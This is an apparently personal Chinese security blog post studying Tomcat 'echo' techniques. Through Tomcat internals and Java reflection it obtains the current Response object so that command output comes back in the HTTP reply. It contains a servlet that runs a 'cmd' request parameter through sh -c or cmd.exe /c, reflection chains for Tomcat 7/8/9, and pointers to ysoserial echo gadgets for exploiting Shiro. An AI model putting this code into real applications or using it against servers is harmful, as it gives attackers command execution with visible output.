Tomcat通用回显学习

Tomcat通用回显学习

1、前置知识

1.1、正常的命令执行回显

整体流程就是通过request对象拿到我们要执行的命令,并作为参数带到执行命令的方法中,将命令结果作为InputStream,通过response对象的方法输出命令执行的结果,从而在页面获得回显

搭建环境

创建maven项目,导入依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>tomcatEcho1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <tomcat.version>8.5.78</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
            <scope>provided</scope>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
            <version>${tomcat.version}</version>
        </dependency>

        <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>    <!-- idea 识别不出来,要单独引入这个依赖 -->
            <version>${tomcat.version}</version>
        </dependency>
    </dependencies>

</project>

添加web框架依赖

image-20220427222050075

添加tomcat环境

image-20220427225022364

编写controller层,创建servlet

image-20220427222550332

package controller;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;

@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");


        String name = System.getProperty("os.name");
        String cmd = request.getParameter("cmd");
        String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        byte[] buf = new byte[1024];
        int len = 0;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        while ((len = in.read(buf)) != -1) {
            out.write(buf, 0, len);
        }
        PrintWriter writer = response.getWriter();
        writer.write(new String(out.toByteArray()));
        writer.flush();
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

image-20220427223249264

所以我们需要找到需要找一个全局存储的request或response对象,那就要在底层看Tomcat处理request或response对象的流程

2、不适用Tomcat7的回显方式

2.1、回显分析

主要通过Litch1的文章学习,传送门

我们随便在springboot中打个断点,看看堆栈,根据师傅文章得知为Http11Processor的父类(AbstractProcessor)存储了Request和Response,且为final修饰,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response,我们先来org.apache.coyote.http11.Http11Processor.

可以看到此时request里面已经初始化好了,我们继续向前回溯,看看其定义

image-20220427170138687

可以看到在AbstractProcessor中定义了,并且是protected和final修饰,说明只允许子类或者父类调用且赋值之后,对于对象的引用是不会改变的,他是在那里初始化的呢

image-20220427170304978

可以看到是在构造方法中赋值的,但是该构造方法为protecd修饰,需要调用重载的pubic方法去实现,所以子类可以调用该方法实例化request和response

image-20220427170755192

image-20220427171006218

我们看到Http11Processor通过调用父类的构造方法,获取request和response

image-20220427171452006

而且Http11Processor怎么获取request和response,我们可以通过Http11Processor的getRequest方法获取request

image-20220427173336067

而在Request类中,可以通过getResponse获取response。

image-20220427173522560

最后通过response类的doWrite()方法,写进内容,返回给前端

image-20220427173711924

前面挖掘部分说了,获取了Http11Processor实例后,就可以获取request,也就可以获取response,我们的目的也达成了,但是如何来获取Http11Processor实例或者Http11Processor request、response的变量

继续向前分析,看什么时候出现了Http11Processor类的实例;发现是在org.apache.coyote.AbstractProtocol.ConnectionHandler#process这个函数中

image-20220427172151447

是在704行通过this.getProtocol().createProcessor()创建的,然后通过register方法注册,跟进去看看

image-20220427172425867

发现RequestInfo里面有req,然后就可以获取response。

rp.req.getResponse()

image-20220427173047571

然后通过setGlobalProcessorRequestInfo放到this.global里,那个这个this.global是什么呢?是一个RequestGroupInfo实例对象

image-20220427174426056

我们也跟进setGlobalProcessor去看看,看到this.global,调用addRequestProcessor增加this(RequestInfo),继续跟进去

image-20220427174723175

我们可以看到把他增加到 this.global(RequestInfo)的List processors里去。

image-20220427175005047

image-20220427175041481

所以我们就要获取global

global变量是AbstractProtocol静态内部类ConnectionHandler的成员变量,不是static静态变量,因此我们还需要找存储AbstractProtocol类或AbstractProtocol子类。

现在的利用链为

AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

看到他的子类(Navigate-->Type Hierarchy)

image-20220427181418716

分析继承关系,发现它有子类Http11NioProtocol,所以如果我们获取到这个类,那么也能获取到globa

Tomcat初始化StandardService时,会启动Container、Executor、mapperListener及所有的Connector。其中Executor负责为Connector处理请求提供共用的线程池,mapperListener负责将请求映射到对应的容器中,Connector负责接收和解析请求。所以对于单个请求来说,其相关的信息及调用关系都保存在Connector对象中

继续分析调用栈,发现存在这个

org.apache.catalina.connector.CoyoteAdapter#connectorprotocolHandler属性

image-20220427181057375

可以看到使用Evaluate确实可以获取response

((AbstractProtocol.ConnectionHandler) ((Http11NioProtocol) ((Connector)((CoyoteAdapter)this).connector).protocolHandler).handler).global.processors.get(0).req.getResponse()

image-20220427181829653

所以现在的思路是如何获取到这个connector,新的利用链

connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并在org.apache.catalina.startup.Tomcat的setConnector通过org.apache.catalina.core.StandardService#addConnector存放在connectors

image-20220427183212614

image-20220427183623692

然后通过org.apache.catalina.core.StandardService#initInternal进行初始化

image-20220427183731138

因为先添加了再初始化,所以这个时要获取connectors,可以通过org.apache.catalina.core.StandardService来获取

StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

现在就是如何获取StandardService了。

tomcat的类加载机制

双亲委派机制的缺点:
当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。
例如:
假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个ClassLoader在Tomcat就是WebAppClassLoader,通过Thread类中的getContextClassLoader()获取,当然也可以设置为指定的加载器,通过Thread类中setContextClassLoader(ClassLoader cl)方法通过设置类加载器。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

通过Thread.currentThread().getContextClassLoader()来获取当前线程的ClassLoader,再去寻找StandardService

在resources-->context-->context-->service

image-20220427205413037

所以最终的调用链(Thread.currentThread().getContextClassLoader()==WebAppClassLoader)

Thread.currentThread().getContextClassLoader()-->resources-->context-->context-->service-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

2.2、构造代码

package controller;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");


        //获取standardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        try {
            //获取StandardContext中的context
            //获取ApplicationContext上下文,因为ApplicationContext是protect修饰
            // 反射获取StandardContext中的context
            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            // 反射获取context中的service
            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            // 反射获取service中的connectors
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            // 反射获取 AbstractProtocol$ConnectoinHandler 实例
            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            // 反射获取global内部的processors
            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            // 获取response修改数据
            // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

                // 获取参数
                PrintWriter writer = response1.getWriter();
                String name = System.getProperty("os.name");
                String cmd = request.getParameter("cmd");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                writer.write(new String(out.toByteArray()));
                writer.flush();

            }


        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

image-20220427225206078

2.3、坑点

tomcat的小版本有限制

主要原因是

image-20220427234613127

本人在tomcat9.0.56、 8.5.47才成功的

3、Tomcat7/8/9全版本通用回显方式

3.1、分析

原因是Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败

新的利用链

Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

通过Thread.currentThread().getThreadGroup()遍历线程得到NioEndpoint$Poller的父类NioEndpoint,然后再通过获取其父类 NioEndpoint进而获取AbstractProtocol$ConnectoinHandler(handler)>>global-> processors->request

路径:

  1. 通过 Thread.currentThread().getThreadGroup()获取 NioEndpoint$Poller ,然后获取其父类 NioEndpoint(thread-->target)

    image-20220427235707099

  2. 通过NioEndpoint获取 AbstractProtocol$ConnectoinHandler (thread-->target->this$0)

    image-20220428000522075

  3. 获取了 AbstractProtocol$ConnectoinHandler 之后就可以利用反射获取到其 global 属性,(thread-->target->this$0->handler->global)

    image-20220428000756311

  4. 然后再利用反射获取 gloabl 中的 processors 属性

    image-20220428000840836

  5. 然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response

    image-20220428000921291

3.2、构造payload

package controller;

import org.apache.coyote.*;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet")
public class Tomcat7Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        boolean flag=false;

        try {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");

            for(int i=0;i< threads.length;i++){
                Thread thread=threads[i];
                String threadName=thread.getName();

                try{
                    Object target= getField(thread,"target");
                    Object this0=getField(target,"this$0");
                    Object handler=getField(this0,"handler");
                    Object global=getField(handler,"global");

                    ArrayList processors=(ArrayList) getField(global,"processors");

                    for (int j = 0; j < processors.size(); j++) {
                        RequestInfo requestInfo = (RequestInfo) processors.get(j);
                        if(requestInfo!=null){
                            Request req=(Request) getField(requestInfo,"req");

                            org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
                            org.apache.catalina.connector.Response response1 =request1.getResponse();

                            Writer writer=response.getWriter();
                            writer.flush();
                            writer.write("TomcatEcho");
                            flag=true;
                            if(flag){
                                break;
                            }
                        }
                    }

                }catch (Exception e){
                    e.printStackTrace();
                }
                if(flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }


    }
    public static Object getField(Object obj,String fieldName) throws Exception{
        Field field=null;
        Class clas=obj.getClass();

        while(clas!=Object.class){
            try{
                field=clas.getDeclaredField(fieldName);
                break;
            }catch (NoSuchFieldException e){
                clas=clas.getSuperclass();
            }
        }

        if (field!=null){
            field.setAccessible(true);
            return field.get(obj);
        }else{
            throw new NoSuchFieldException(fieldName);
        }


    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }
}

image-20220427232818015

4、shiro利用

已经有大佬给ysoserial加上了Tomcat回显的利用链,配合commons-collections k1可以直接在shiro中利用

https://github.com/zema1/ysoserial/releases

漏洞利用可以参考shiro550分析

image-20220421203614317

5、结束

其实本篇就是学习大佬们回显的思路,学习怎么看懂它,学习一下其中挖掘的思路,基本上都是按着大佬们的步骤一步步的复现。

参考

https://sp4zcmd.github.io/2021/10/27/Tomcat通用回显学习笔记/

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

https://www.cnblogs.com/CoLo/p/15581915.html

https://blog.gm7.org/

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

https://xz.aliyun.com/t/7535

posted @ 2022-04-28 00:31  akka1  阅读(762)  评论(0编辑  收藏  举报